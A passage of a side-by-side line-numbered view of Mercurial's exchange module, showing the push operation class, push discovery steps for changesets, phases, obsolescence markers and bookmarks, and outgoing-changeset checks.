385 elif behavior == b'confirm':
387 elif behavior == b'confirm':
386 if ui.promptchoice(
388 if ui.promptchoice(
387 _(b'push and publish %i changesets (yn)?$$ &Yes $$ &No')
389 _(b'push and publish %i changesets (yn)?$$ &Yes $$ &No')
388 % len(published)
390 % len(published)
389 ):
391 ):
390 raise error.Abort(_(b'user quit'))
392 raise error.Abort(_(b'user quit'))
391 elif behavior == b'abort':
393 elif behavior == b'abort':
392 msg = _(b'push would publish %i changesets') % len(published)
394 msg = _(b'push would publish %i changesets') % len(published)
393 hint = _(
395 hint = _(
394 b"use --publish or adjust 'experimental.auto-publish'"
396 b"use --publish or adjust 'experimental.auto-publish'"
395 b" config"
397 b" config"
396 )
398 )
397 raise error.Abort(msg, hint=hint)
399 raise error.Abort(msg, hint=hint)
398
400
399
401
400 def _forcebundle1(op):
402 def _forcebundle1(op):
401 """return true if a pull/push must use bundle1
403 """return true if a pull/push must use bundle1
402
404
403 This function is used to allow testing of the older bundle version"""
405 This function is used to allow testing of the older bundle version"""
404 ui = op.repo.ui
406 ui = op.repo.ui
405 # The goal is this config is to allow developer to choose the bundle
407 # The goal is this config is to allow developer to choose the bundle
406 # version used during exchanged. This is especially handy during test.
408 # version used during exchanged. This is especially handy during test.
407 # Value is a list of bundle version to be picked from, highest version
409 # Value is a list of bundle version to be picked from, highest version
408 # should be used.
410 # should be used.
409 #
411 #
410 # developer config: devel.legacy.exchange
412 # developer config: devel.legacy.exchange
411 exchange = ui.configlist(b'devel', b'legacy.exchange')
413 exchange = ui.configlist(b'devel', b'legacy.exchange')
412 forcebundle1 = b'bundle2' not in exchange and b'bundle1' in exchange
414 forcebundle1 = b'bundle2' not in exchange and b'bundle1' in exchange
413 return forcebundle1 or not op.remote.capable(b'bundle2')
415 return forcebundle1 or not op.remote.capable(b'bundle2')
414
416
415
417
416 class pushoperation(object):
418 class pushoperation(object):
417 """A object that represent a single push operation
419 """A object that represent a single push operation
418
420
419 Its purpose is to carry push related state and very common operations.
421 Its purpose is to carry push related state and very common operations.
420
422
421 A new pushoperation should be created at the beginning of each push and
423 A new pushoperation should be created at the beginning of each push and
422 discarded afterward.
424 discarded afterward.
423 """
425 """
424
426
425 def __init__(
427 def __init__(
426 self,
428 self,
427 repo,
429 repo,
428 remote,
430 remote,
429 force=False,
431 force=False,
430 revs=None,
432 revs=None,
431 newbranch=False,
433 newbranch=False,
432 bookmarks=(),
434 bookmarks=(),
433 publish=False,
435 publish=False,
434 pushvars=None,
436 pushvars=None,
435 ):
437 ):
436 # repo we push from
438 # repo we push from
437 self.repo = repo
439 self.repo = repo
438 self.ui = repo.ui
440 self.ui = repo.ui
439 # repo we push to
441 # repo we push to
440 self.remote = remote
442 self.remote = remote
441 # force option provided
443 # force option provided
442 self.force = force
444 self.force = force
443 # revs to be pushed (None is "all")
445 # revs to be pushed (None is "all")
444 self.revs = revs
446 self.revs = revs
445 # bookmark explicitly pushed
447 # bookmark explicitly pushed
446 self.bookmarks = bookmarks
448 self.bookmarks = bookmarks
447 # allow push of new branch
449 # allow push of new branch
448 self.newbranch = newbranch
450 self.newbranch = newbranch
449 # step already performed
451 # step already performed
450 # (used to check what steps have been already performed through bundle2)
452 # (used to check what steps have been already performed through bundle2)
451 self.stepsdone = set()
453 self.stepsdone = set()
452 # Integer version of the changegroup push result
454 # Integer version of the changegroup push result
453 # - None means nothing to push
455 # - None means nothing to push
454 # - 0 means HTTP error
456 # - 0 means HTTP error
455 # - 1 means we pushed and remote head count is unchanged *or*
457 # - 1 means we pushed and remote head count is unchanged *or*
456 # we have outgoing changesets but refused to push
458 # we have outgoing changesets but refused to push
457 # - other values as described by addchangegroup()
459 # - other values as described by addchangegroup()
458 self.cgresult = None
460 self.cgresult = None
459 # Boolean value for the bookmark push
461 # Boolean value for the bookmark push
460 self.bkresult = None
462 self.bkresult = None
461 # discover.outgoing object (contains common and outgoing data)
463 # discover.outgoing object (contains common and outgoing data)
462 self.outgoing = None
464 self.outgoing = None
463 # all remote topological heads before the push
465 # all remote topological heads before the push
464 self.remoteheads = None
466 self.remoteheads = None
465 # Details of the remote branch pre and post push
467 # Details of the remote branch pre and post push
466 #
468 #
467 # mapping: {'branch': ([remoteheads],
469 # mapping: {'branch': ([remoteheads],
468 # [newheads],
470 # [newheads],
469 # [unsyncedheads],
471 # [unsyncedheads],
470 # [discardedheads])}
472 # [discardedheads])}
471 # - branch: the branch name
473 # - branch: the branch name
472 # - remoteheads: the list of remote heads known locally
474 # - remoteheads: the list of remote heads known locally
473 # None if the branch is new
475 # None if the branch is new
474 # - newheads: the new remote heads (known locally) with outgoing pushed
476 # - newheads: the new remote heads (known locally) with outgoing pushed
475 # - unsyncedheads: the list of remote heads unknown locally.
477 # - unsyncedheads: the list of remote heads unknown locally.
476 # - discardedheads: the list of remote heads made obsolete by the push
478 # - discardedheads: the list of remote heads made obsolete by the push
477 self.pushbranchmap = None
479 self.pushbranchmap = None
478 # testable as a boolean indicating if any nodes are missing locally.
480 # testable as a boolean indicating if any nodes are missing locally.
479 self.incoming = None
481 self.incoming = None
480 # summary of the remote phase situation
482 # summary of the remote phase situation
481 self.remotephases = None
483 self.remotephases = None
482 # phases changes that must be pushed along side the changesets
484 # phases changes that must be pushed along side the changesets
483 self.outdatedphases = None
485 self.outdatedphases = None
484 # phases changes that must be pushed if changeset push fails
486 # phases changes that must be pushed if changeset push fails
485 self.fallbackoutdatedphases = None
487 self.fallbackoutdatedphases = None
486 # outgoing obsmarkers
488 # outgoing obsmarkers
487 self.outobsmarkers = set()
489 self.outobsmarkers = set()
488 # outgoing bookmarks, list of (bm, oldnode | '', newnode | '')
490 # outgoing bookmarks, list of (bm, oldnode | '', newnode | '')
489 self.outbookmarks = []
491 self.outbookmarks = []
490 # transaction manager
492 # transaction manager
491 self.trmanager = None
493 self.trmanager = None
492 # map { pushkey partid -> callback handling failure}
494 # map { pushkey partid -> callback handling failure}
493 # used to handle exception from mandatory pushkey part failure
495 # used to handle exception from mandatory pushkey part failure
494 self.pkfailcb = {}
496 self.pkfailcb = {}
495 # an iterable of pushvars or None
497 # an iterable of pushvars or None
496 self.pushvars = pushvars
498 self.pushvars = pushvars
497 # publish pushed changesets
499 # publish pushed changesets
498 self.publish = publish
500 self.publish = publish
499
501
500 @util.propertycache
502 @util.propertycache
501 def futureheads(self):
503 def futureheads(self):
502 """future remote heads if the changeset push succeeds"""
504 """future remote heads if the changeset push succeeds"""
503 return self.outgoing.missingheads
505 return self.outgoing.missingheads
504
506
505 @util.propertycache
507 @util.propertycache
506 def fallbackheads(self):
508 def fallbackheads(self):
507 """future remote heads if the changeset push fails"""
509 """future remote heads if the changeset push fails"""
508 if self.revs is None:
510 if self.revs is None:
509 # not target to push, all common are relevant
511 # not target to push, all common are relevant
510 return self.outgoing.commonheads
512 return self.outgoing.commonheads
511 unfi = self.repo.unfiltered()
513 unfi = self.repo.unfiltered()
512 # I want cheads = heads(::missingheads and ::commonheads)
514 # I want cheads = heads(::missingheads and ::commonheads)
513 # (missingheads is revs with secret changeset filtered out)
515 # (missingheads is revs with secret changeset filtered out)
514 #
516 #
515 # This can be expressed as:
517 # This can be expressed as:
516 # cheads = ( (missingheads and ::commonheads)
518 # cheads = ( (missingheads and ::commonheads)
517 # + (commonheads and ::missingheads))"
519 # + (commonheads and ::missingheads))"
518 # )
520 # )
519 #
521 #
520 # while trying to push we already computed the following:
522 # while trying to push we already computed the following:
521 # common = (::commonheads)
523 # common = (::commonheads)
522 # missing = ((commonheads::missingheads) - commonheads)
524 # missing = ((commonheads::missingheads) - commonheads)
523 #
525 #
524 # We can pick:
526 # We can pick:
525 # * missingheads part of common (::commonheads)
527 # * missingheads part of common (::commonheads)
526 common = self.outgoing.common
528 common = self.outgoing.common
527 rev = self.repo.changelog.index.rev
529 rev = self.repo.changelog.index.rev
528 cheads = [node for node in self.revs if rev(node) in common]
530 cheads = [node for node in self.revs if rev(node) in common]
529 # and
531 # and
530 # * commonheads parents on missing
532 # * commonheads parents on missing
531 revset = unfi.set(
533 revset = unfi.set(
532 b'%ln and parents(roots(%ln))',
534 b'%ln and parents(roots(%ln))',
533 self.outgoing.commonheads,
535 self.outgoing.commonheads,
534 self.outgoing.missing,
536 self.outgoing.missing,
535 )
537 )
536 cheads.extend(c.node() for c in revset)
538 cheads.extend(c.node() for c in revset)
537 return cheads
539 return cheads
538
540
539 @property
541 @property
540 def commonheads(self):
542 def commonheads(self):
541 """set of all common heads after changeset bundle push"""
543 """set of all common heads after changeset bundle push"""
542 if self.cgresult:
544 if self.cgresult:
543 return self.futureheads
545 return self.futureheads
544 else:
546 else:
545 return self.fallbackheads
547 return self.fallbackheads
546
548
547
549
548 # mapping of message used when pushing bookmark
550 # mapping of message used when pushing bookmark
549 bookmsgmap = {
551 bookmsgmap = {
550 b'update': (
552 b'update': (
551 _(b"updating bookmark %s\n"),
553 _(b"updating bookmark %s\n"),
552 _(b'updating bookmark %s failed!\n'),
554 _(b'updating bookmark %s failed!\n'),
553 ),
555 ),
554 b'export': (
556 b'export': (
555 _(b"exporting bookmark %s\n"),
557 _(b"exporting bookmark %s\n"),
556 _(b'exporting bookmark %s failed!\n'),
558 _(b'exporting bookmark %s failed!\n'),
557 ),
559 ),
558 b'delete': (
560 b'delete': (
559 _(b"deleting remote bookmark %s\n"),
561 _(b"deleting remote bookmark %s\n"),
560 _(b'deleting remote bookmark %s failed!\n'),
562 _(b'deleting remote bookmark %s failed!\n'),
561 ),
563 ),
562 }
564 }
563
565
564
566
565 def push(
567 def push(
566 repo,
568 repo,
567 remote,
569 remote,
568 force=False,
570 force=False,
569 revs=None,
571 revs=None,
570 newbranch=False,
572 newbranch=False,
571 bookmarks=(),
573 bookmarks=(),
572 publish=False,
574 publish=False,
573 opargs=None,
575 opargs=None,
574 ):
576 ):
575 '''Push outgoing changesets (limited by revs) from a local
577 '''Push outgoing changesets (limited by revs) from a local
576 repository to remote. Return an integer:
578 repository to remote. Return an integer:
577 - None means nothing to push
579 - None means nothing to push
578 - 0 means HTTP error
580 - 0 means HTTP error
579 - 1 means we pushed and remote head count is unchanged *or*
581 - 1 means we pushed and remote head count is unchanged *or*
580 we have outgoing changesets but refused to push
582 we have outgoing changesets but refused to push
581 - other values as described by addchangegroup()
583 - other values as described by addchangegroup()
582 '''
584 '''
583 if opargs is None:
585 if opargs is None:
584 opargs = {}
586 opargs = {}
585 pushop = pushoperation(
587 pushop = pushoperation(
586 repo,
588 repo,
587 remote,
589 remote,
588 force,
590 force,
589 revs,
591 revs,
590 newbranch,
592 newbranch,
591 bookmarks,
593 bookmarks,
592 publish,
594 publish,
593 **pycompat.strkwargs(opargs)
595 **pycompat.strkwargs(opargs)
594 )
596 )
595 if pushop.remote.local():
597 if pushop.remote.local():
596 missing = (
598 missing = (
597 set(pushop.repo.requirements) - pushop.remote.local().supported
599 set(pushop.repo.requirements) - pushop.remote.local().supported
598 )
600 )
599 if missing:
601 if missing:
600 msg = _(
602 msg = _(
601 b"required features are not"
603 b"required features are not"
602 b" supported in the destination:"
604 b" supported in the destination:"
603 b" %s"
605 b" %s"
604 ) % (b', '.join(sorted(missing)))
606 ) % (b', '.join(sorted(missing)))
605 raise error.Abort(msg)
607 raise error.Abort(msg)
606
608
607 if not pushop.remote.canpush():
609 if not pushop.remote.canpush():
608 raise error.Abort(_(b"destination does not support push"))
610 raise error.Abort(_(b"destination does not support push"))
609
611
610 if not pushop.remote.capable(b'unbundle'):
612 if not pushop.remote.capable(b'unbundle'):
611 raise error.Abort(
613 raise error.Abort(
612 _(
614 _(
613 b'cannot push: destination does not support the '
615 b'cannot push: destination does not support the '
614 b'unbundle wire protocol command'
616 b'unbundle wire protocol command'
615 )
617 )
616 )
618 )
617
619
618 # get lock as we might write phase data
620 # get lock as we might write phase data
619 wlock = lock = None
621 wlock = lock = None
620 try:
622 try:
621 # bundle2 push may receive a reply bundle touching bookmarks
623 # bundle2 push may receive a reply bundle touching bookmarks
622 # requiring the wlock. Take it now to ensure proper ordering.
624 # requiring the wlock. Take it now to ensure proper ordering.
623 maypushback = pushop.ui.configbool(b'experimental', b'bundle2.pushback')
625 maypushback = pushop.ui.configbool(b'experimental', b'bundle2.pushback')
624 if (
626 if (
625 (not _forcebundle1(pushop))
627 (not _forcebundle1(pushop))
626 and maypushback
628 and maypushback
627 and not bookmod.bookmarksinstore(repo)
629 and not bookmod.bookmarksinstore(repo)
628 ):
630 ):
629 wlock = pushop.repo.wlock()
631 wlock = pushop.repo.wlock()
630 lock = pushop.repo.lock()
632 lock = pushop.repo.lock()
631 pushop.trmanager = transactionmanager(
633 pushop.trmanager = transactionmanager(
632 pushop.repo, b'push-response', pushop.remote.url()
634 pushop.repo, b'push-response', pushop.remote.url()
633 )
635 )
634 except error.LockUnavailable as err:
636 except error.LockUnavailable as err:
635 # source repo cannot be locked.
637 # source repo cannot be locked.
636 # We do not abort the push, but just disable the local phase
638 # We do not abort the push, but just disable the local phase
637 # synchronisation.
639 # synchronisation.
638 msg = b'cannot lock source repository: %s\n' % stringutil.forcebytestr(
640 msg = b'cannot lock source repository: %s\n' % stringutil.forcebytestr(
639 err
641 err
640 )
642 )
641 pushop.ui.debug(msg)
643 pushop.ui.debug(msg)
642
644
643 with wlock or util.nullcontextmanager():
645 with wlock or util.nullcontextmanager():
644 with lock or util.nullcontextmanager():
646 with lock or util.nullcontextmanager():
645 with pushop.trmanager or util.nullcontextmanager():
647 with pushop.trmanager or util.nullcontextmanager():
646 pushop.repo.checkpush(pushop)
648 pushop.repo.checkpush(pushop)
647 _checkpublish(pushop)
649 _checkpublish(pushop)
648 _pushdiscovery(pushop)
650 _pushdiscovery(pushop)
649 if not pushop.force:
651 if not pushop.force:
650 _checksubrepostate(pushop)
652 _checksubrepostate(pushop)
651 if not _forcebundle1(pushop):
653 if not _forcebundle1(pushop):
652 _pushbundle2(pushop)
654 _pushbundle2(pushop)
653 _pushchangeset(pushop)
655 _pushchangeset(pushop)
654 _pushsyncphase(pushop)
656 _pushsyncphase(pushop)
655 _pushobsolete(pushop)
657 _pushobsolete(pushop)
656 _pushbookmark(pushop)
658 _pushbookmark(pushop)
657
659
658 if repo.ui.configbool(b'experimental', b'remotenames'):
660 if repo.ui.configbool(b'experimental', b'remotenames'):
659 logexchange.pullremotenames(repo, remote)
661 logexchange.pullremotenames(repo, remote)
660
662
661 return pushop
663 return pushop
662
664
663
665
664 # list of steps to perform discovery before push
666 # list of steps to perform discovery before push
665 pushdiscoveryorder = []
667 pushdiscoveryorder = []
666
668
667 # Mapping between step name and function
669 # Mapping between step name and function
668 #
670 #
669 # This exists to help extensions wrap steps if necessary
671 # This exists to help extensions wrap steps if necessary
670 pushdiscoverymapping = {}
672 pushdiscoverymapping = {}
671
673
672
674
673 def pushdiscovery(stepname):
675 def pushdiscovery(stepname):
674 """decorator for function performing discovery before push
676 """decorator for function performing discovery before push
675
677
676 The function is added to the step -> function mapping and appended to the
678 The function is added to the step -> function mapping and appended to the
677 list of steps. Beware that decorated function will be added in order (this
679 list of steps. Beware that decorated function will be added in order (this
678 may matter).
680 may matter).
679
681
680 You can only use this decorator for a new step, if you want to wrap a step
682 You can only use this decorator for a new step, if you want to wrap a step
681 from an extension, change the pushdiscovery dictionary directly."""
683 from an extension, change the pushdiscovery dictionary directly."""
682
684
683 def dec(func):
685 def dec(func):
684 assert stepname not in pushdiscoverymapping
686 assert stepname not in pushdiscoverymapping
685 pushdiscoverymapping[stepname] = func
687 pushdiscoverymapping[stepname] = func
686 pushdiscoveryorder.append(stepname)
688 pushdiscoveryorder.append(stepname)
687 return func
689 return func
688
690
689 return dec
691 return dec
690
692
691
693
692 def _pushdiscovery(pushop):
694 def _pushdiscovery(pushop):
693 """Run all discovery steps"""
695 """Run all discovery steps"""
694 for stepname in pushdiscoveryorder:
696 for stepname in pushdiscoveryorder:
695 step = pushdiscoverymapping[stepname]
697 step = pushdiscoverymapping[stepname]
696 step(pushop)
698 step(pushop)
697
699
698
700
699 def _checksubrepostate(pushop):
701 def _checksubrepostate(pushop):
700 """Ensure all outgoing referenced subrepo revisions are present locally"""
702 """Ensure all outgoing referenced subrepo revisions are present locally"""
701 for n in pushop.outgoing.missing:
703 for n in pushop.outgoing.missing:
702 ctx = pushop.repo[n]
704 ctx = pushop.repo[n]
703
705
704 if b'.hgsub' in ctx.manifest() and b'.hgsubstate' in ctx.files():
706 if b'.hgsub' in ctx.manifest() and b'.hgsubstate' in ctx.files():
705 for subpath in sorted(ctx.substate):
707 for subpath in sorted(ctx.substate):
706 sub = ctx.sub(subpath)
708 sub = ctx.sub(subpath)
707 sub.verify(onpush=True)
709 sub.verify(onpush=True)
708
710
709
711
710 @pushdiscovery(b'changeset')
712 @pushdiscovery(b'changeset')
711 def _pushdiscoverychangeset(pushop):
713 def _pushdiscoverychangeset(pushop):
712 """discover the changeset that need to be pushed"""
714 """discover the changeset that need to be pushed"""
713 fci = discovery.findcommonincoming
715 fci = discovery.findcommonincoming
714 if pushop.revs:
716 if pushop.revs:
715 commoninc = fci(
717 commoninc = fci(
716 pushop.repo,
718 pushop.repo,
717 pushop.remote,
719 pushop.remote,
718 force=pushop.force,
720 force=pushop.force,
719 ancestorsof=pushop.revs,
721 ancestorsof=pushop.revs,
720 )
722 )
721 else:
723 else:
722 commoninc = fci(pushop.repo, pushop.remote, force=pushop.force)
724 commoninc = fci(pushop.repo, pushop.remote, force=pushop.force)
723 common, inc, remoteheads = commoninc
725 common, inc, remoteheads = commoninc
724 fco = discovery.findcommonoutgoing
726 fco = discovery.findcommonoutgoing
725 outgoing = fco(
727 outgoing = fco(
726 pushop.repo,
728 pushop.repo,
727 pushop.remote,
729 pushop.remote,
728 onlyheads=pushop.revs,
730 onlyheads=pushop.revs,
729 commoninc=commoninc,
731 commoninc=commoninc,
730 force=pushop.force,
732 force=pushop.force,
731 )
733 )
732 pushop.outgoing = outgoing
734 pushop.outgoing = outgoing
733 pushop.remoteheads = remoteheads
735 pushop.remoteheads = remoteheads
734 pushop.incoming = inc
736 pushop.incoming = inc
735
737
736
738
737 @pushdiscovery(b'phase')
739 @pushdiscovery(b'phase')
738 def _pushdiscoveryphase(pushop):
740 def _pushdiscoveryphase(pushop):
739 """discover the phase that needs to be pushed
741 """discover the phase that needs to be pushed
740
742
741 (computed for both success and failure case for changesets push)"""
743 (computed for both success and failure case for changesets push)"""
742 outgoing = pushop.outgoing
744 outgoing = pushop.outgoing
743 unfi = pushop.repo.unfiltered()
745 unfi = pushop.repo.unfiltered()
744 remotephases = listkeys(pushop.remote, b'phases')
746 remotephases = listkeys(pushop.remote, b'phases')
745
747
746 if (
748 if (
747 pushop.ui.configbool(b'ui', b'_usedassubrepo')
749 pushop.ui.configbool(b'ui', b'_usedassubrepo')
748 and remotephases # server supports phases
750 and remotephases # server supports phases
749 and not pushop.outgoing.missing # no changesets to be pushed
751 and not pushop.outgoing.missing # no changesets to be pushed
750 and remotephases.get(b'publishing', False)
752 and remotephases.get(b'publishing', False)
751 ):
753 ):
752 # When:
754 # When:
753 # - this is a subrepo push
755 # - this is a subrepo push
754 # - and remote support phase
756 # - and remote support phase
755 # - and no changeset are to be pushed
757 # - and no changeset are to be pushed
756 # - and remote is publishing
758 # - and remote is publishing
757 # We may be in issue 3781 case!
759 # We may be in issue 3781 case!
758 # We drop the possible phase synchronisation done by
760 # We drop the possible phase synchronisation done by
759 # courtesy to publish changesets possibly locally draft
761 # courtesy to publish changesets possibly locally draft
760 # on the remote.
762 # on the remote.
761 pushop.outdatedphases = []
763 pushop.outdatedphases = []
762 pushop.fallbackoutdatedphases = []
764 pushop.fallbackoutdatedphases = []
763 return
765 return
764
766
765 pushop.remotephases = phases.remotephasessummary(
767 pushop.remotephases = phases.remotephasessummary(
766 pushop.repo, pushop.fallbackheads, remotephases
768 pushop.repo, pushop.fallbackheads, remotephases
767 )
769 )
768 droots = pushop.remotephases.draftroots
770 droots = pushop.remotephases.draftroots
769
771
770 extracond = b''
772 extracond = b''
771 if not pushop.remotephases.publishing:
773 if not pushop.remotephases.publishing:
772 extracond = b' and public()'
774 extracond = b' and public()'
773 revset = b'heads((%%ln::%%ln) %s)' % extracond
775 revset = b'heads((%%ln::%%ln) %s)' % extracond
774 # Get the list of all revs draft on remote by public here.
776 # Get the list of all revs draft on remote by public here.
775 # XXX Beware that revset break if droots is not strictly
777 # XXX Beware that revset break if droots is not strictly
776 # XXX root we may want to ensure it is but it is costly
778 # XXX root we may want to ensure it is but it is costly
777 fallback = list(unfi.set(revset, droots, pushop.fallbackheads))
779 fallback = list(unfi.set(revset, droots, pushop.fallbackheads))
778 if not pushop.remotephases.publishing and pushop.publish:
780 if not pushop.remotephases.publishing and pushop.publish:
779 future = list(
781 future = list(
780 unfi.set(
782 unfi.set(
781 b'%ln and (not public() or %ln::)', pushop.futureheads, droots
783 b'%ln and (not public() or %ln::)', pushop.futureheads, droots
782 )
784 )
783 )
785 )
784 elif not outgoing.missing:
786 elif not outgoing.missing:
785 future = fallback
787 future = fallback
786 else:
788 else:
787 # adds changeset we are going to push as draft
789 # adds changeset we are going to push as draft
788 #
790 #
789 # should not be necessary for publishing server, but because of an
791 # should not be necessary for publishing server, but because of an
790 # issue fixed in xxxxx we have to do it anyway.
792 # issue fixed in xxxxx we have to do it anyway.
791 fdroots = list(
793 fdroots = list(
792 unfi.set(b'roots(%ln + %ln::)', outgoing.missing, droots)
794 unfi.set(b'roots(%ln + %ln::)', outgoing.missing, droots)
793 )
795 )
794 fdroots = [f.node() for f in fdroots]
796 fdroots = [f.node() for f in fdroots]
795 future = list(unfi.set(revset, fdroots, pushop.futureheads))
797 future = list(unfi.set(revset, fdroots, pushop.futureheads))
796 pushop.outdatedphases = future
798 pushop.outdatedphases = future
797 pushop.fallbackoutdatedphases = fallback
799 pushop.fallbackoutdatedphases = fallback
798
800
799
801
800 @pushdiscovery(b'obsmarker')
802 @pushdiscovery(b'obsmarker')
801 def _pushdiscoveryobsmarkers(pushop):
803 def _pushdiscoveryobsmarkers(pushop):
802 if not obsolete.isenabled(pushop.repo, obsolete.exchangeopt):
804 if not obsolete.isenabled(pushop.repo, obsolete.exchangeopt):
803 return
805 return
804
806
805 if not pushop.repo.obsstore:
807 if not pushop.repo.obsstore:
806 return
808 return
807
809
808 if b'obsolete' not in listkeys(pushop.remote, b'namespaces'):
810 if b'obsolete' not in listkeys(pushop.remote, b'namespaces'):
809 return
811 return
810
812
811 repo = pushop.repo
813 repo = pushop.repo
812 # very naive computation, that can be quite expensive on big repo.
814 # very naive computation, that can be quite expensive on big repo.
813 # However: evolution is currently slow on them anyway.
815 # However: evolution is currently slow on them anyway.
814 nodes = (c.node() for c in repo.set(b'::%ln', pushop.futureheads))
816 nodes = (c.node() for c in repo.set(b'::%ln', pushop.futureheads))
815 pushop.outobsmarkers = pushop.repo.obsstore.relevantmarkers(nodes)
817 pushop.outobsmarkers = pushop.repo.obsstore.relevantmarkers(nodes)
816
818
817
819
818 @pushdiscovery(b'bookmarks')
820 @pushdiscovery(b'bookmarks')
819 def _pushdiscoverybookmarks(pushop):
821 def _pushdiscoverybookmarks(pushop):
820 ui = pushop.ui
822 ui = pushop.ui
821 repo = pushop.repo.unfiltered()
823 repo = pushop.repo.unfiltered()
822 remote = pushop.remote
824 remote = pushop.remote
823 ui.debug(b"checking for updated bookmarks\n")
825 ui.debug(b"checking for updated bookmarks\n")
824 ancestors = ()
826 ancestors = ()
825 if pushop.revs:
827 if pushop.revs:
826 revnums = pycompat.maplist(repo.changelog.rev, pushop.revs)
828 revnums = pycompat.maplist(repo.changelog.rev, pushop.revs)
827 ancestors = repo.changelog.ancestors(revnums, inclusive=True)
829 ancestors = repo.changelog.ancestors(revnums, inclusive=True)
828
830
829 remotebookmark = bookmod.unhexlifybookmarks(listkeys(remote, b'bookmarks'))
831 remotebookmark = bookmod.unhexlifybookmarks(listkeys(remote, b'bookmarks'))
830
832
831 explicit = {
833 explicit = {
832 repo._bookmarks.expandname(bookmark) for bookmark in pushop.bookmarks
834 repo._bookmarks.expandname(bookmark) for bookmark in pushop.bookmarks
833 }
835 }
834
836
835 comp = bookmod.comparebookmarks(repo, repo._bookmarks, remotebookmark)
837 comp = bookmod.comparebookmarks(repo, repo._bookmarks, remotebookmark)
836 return _processcompared(pushop, ancestors, explicit, remotebookmark, comp)
838 return _processcompared(pushop, ancestors, explicit, remotebookmark, comp)
837
839
838
840
839 def _processcompared(pushop, pushed, explicit, remotebms, comp):
841 def _processcompared(pushop, pushed, explicit, remotebms, comp):
840 """take decision on bookmarks to push to the remote repo
842 """take decision on bookmarks to push to the remote repo
841
843
842 Exists to help extensions alter this behavior.
844 Exists to help extensions alter this behavior.
843 """
845 """
844 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = comp
846 addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = comp
845
847
846 repo = pushop.repo
848 repo = pushop.repo
847
849
848 for b, scid, dcid in advsrc:
850 for b, scid, dcid in advsrc:
849 if b in explicit:
851 if b in explicit:
850 explicit.remove(b)
852 explicit.remove(b)
851 if not pushed or repo[scid].rev() in pushed:
853 if not pushed or repo[scid].rev() in pushed:
852 pushop.outbookmarks.append((b, dcid, scid))
854 pushop.outbookmarks.append((b, dcid, scid))
853 # search added bookmark
855 # search added bookmark
854 for b, scid, dcid in addsrc:
856 for b, scid, dcid in addsrc:
855 if b in explicit:
857 if b in explicit:
856 explicit.remove(b)
858 explicit.remove(b)
857 pushop.outbookmarks.append((b, b'', scid))
859 pushop.outbookmarks.append((b, b'', scid))
858 # search for overwritten bookmark
860 # search for overwritten bookmark
859 for b, scid, dcid in list(advdst) + list(diverge) + list(differ):
861 for b, scid, dcid in list(advdst) + list(diverge) + list(differ):
860 if b in explicit:
862 if b in explicit:
861 explicit.remove(b)
863 explicit.remove(b)
862 pushop.outbookmarks.append((b, dcid, scid))
864 pushop.outbookmarks.append((b, dcid, scid))
863 # search for bookmark to delete
865 # search for bookmark to delete
864 for b, scid, dcid in adddst:
866 for b, scid, dcid in adddst:
865 if b in explicit:
867 if b in explicit:
866 explicit.remove(b)
868 explicit.remove(b)
867 # treat as "deleted locally"
869 # treat as "deleted locally"
868 pushop.outbookmarks.append((b, dcid, b''))
870 pushop.outbookmarks.append((b, dcid, b''))
869 # identical bookmarks shouldn't get reported
871 # identical bookmarks shouldn't get reported
870 for b, scid, dcid in same:
872 for b, scid, dcid in same:
871 if b in explicit:
873 if b in explicit:
872 explicit.remove(b)
874 explicit.remove(b)
873
875
874 if explicit:
876 if explicit:
875 explicit = sorted(explicit)
877 explicit = sorted(explicit)
876 # we should probably list all of them
878 # we should probably list all of them
877 pushop.ui.warn(
879 pushop.ui.warn(
878 _(
880 _(
879 b'bookmark %s does not exist on the local '
881 b'bookmark %s does not exist on the local '
880 b'or remote repository!\n'
882 b'or remote repository!\n'
881 )
883 )
882 % explicit[0]
884 % explicit[0]
883 )
885 )
884 pushop.bkresult = 2
886 pushop.bkresult = 2
885
887
886 pushop.outbookmarks.sort()
888 pushop.outbookmarks.sort()
887
889
888
890
889 def _pushcheckoutgoing(pushop):
891 def _pushcheckoutgoing(pushop):
890 outgoing = pushop.outgoing
892 outgoing = pushop.outgoing
891 unfi = pushop.repo.unfiltered()
893 unfi = pushop.repo.unfiltered()
892 if not outgoing.missing:
894 if not outgoing.missing:
893 # nothing to push
895 # nothing to push
894 scmutil.nochangesfound(unfi.ui, unfi, outgoing.excluded)
896 scmutil.nochangesfound(unfi.ui, unfi, outgoing.excluded)
895 return False
897 return False
896 # something to push
898 # something to push
897 if not pushop.force:
899 if not pushop.force:
898 # if repo.obsstore == False --> no obsolete
900 # if repo.obsstore == False --> no obsolete
899 # then, save the iteration
901 # then, save the iteration
900 if unfi.obsstore:
902 if unfi.obsstore:
901 # this message are here for 80 char limit reason
903 # this message are here for 80 char limit reason
902 mso = _(b"push includes obsolete changeset: %s!")
904 mso = _(b"push includes obsolete changeset: %s!")
903 mspd = _(b"push includes phase-divergent changeset: %s!")
905 mspd = _(b"push includes phase-divergent changeset: %s!")
904 mscd = _(b"push includes content-divergent changeset: %s!")
906 mscd = _(b"push includes content-divergent changeset: %s!")
905 mst = {
907 mst = {
906 b"orphan": _(b"push includes orphan changeset: %s!"),
908 b"orphan": _(b"push includes orphan changeset: %s!"),
907 b"phase-divergent": mspd,
909 b"phase-divergent": mspd,
908 b"content-divergent": mscd,
910 b"content-divergent": mscd,
909 }
911 }
910 # If we are to push if there is at least one
912 # If we are to push if there is at least one
911 # obsolete or unstable changeset in missing, at
913 # obsolete or unstable changeset in missing, at
912 # least one of the missinghead will be obsolete or
914 # least one of the missinghead will be obsolete or
913 # unstable. So checking heads only is ok
915 # unstable. So checking heads only is ok
914 for node in outgoing.missingheads:
916 for node in outgoing.missingheads:
915 ctx = unfi[node]
917 ctx = unfi[node]
916 if ctx.obsolete():
918 if ctx.obsolete():
917 raise error.Abort(mso % ctx)
919 raise error.Abort(mso % ctx)
918 elif ctx.isunstable():
920 elif ctx.isunstable():
919 # TODO print more than one instability in the abort
921 # TODO print more than one instability in the abort
920 # message
922 # message
921 raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
923 raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
922
924
923 discovery.checkheads(pushop)
925 discovery.checkheads(pushop)
924 return True
926 return True
925
927
926
928
927 # List of names of steps to perform for an outgoing bundle2, order matters.
929 # List of names of steps to perform for an outgoing bundle2, order matters.
928 b2partsgenorder = []
930 b2partsgenorder = []
929
931
930 # Mapping between step name and function
932 # Mapping between step name and function
931 #
933 #
932 # This exists to help extensions wrap steps if necessary
934 # This exists to help extensions wrap steps if necessary
933 b2partsgenmapping = {}
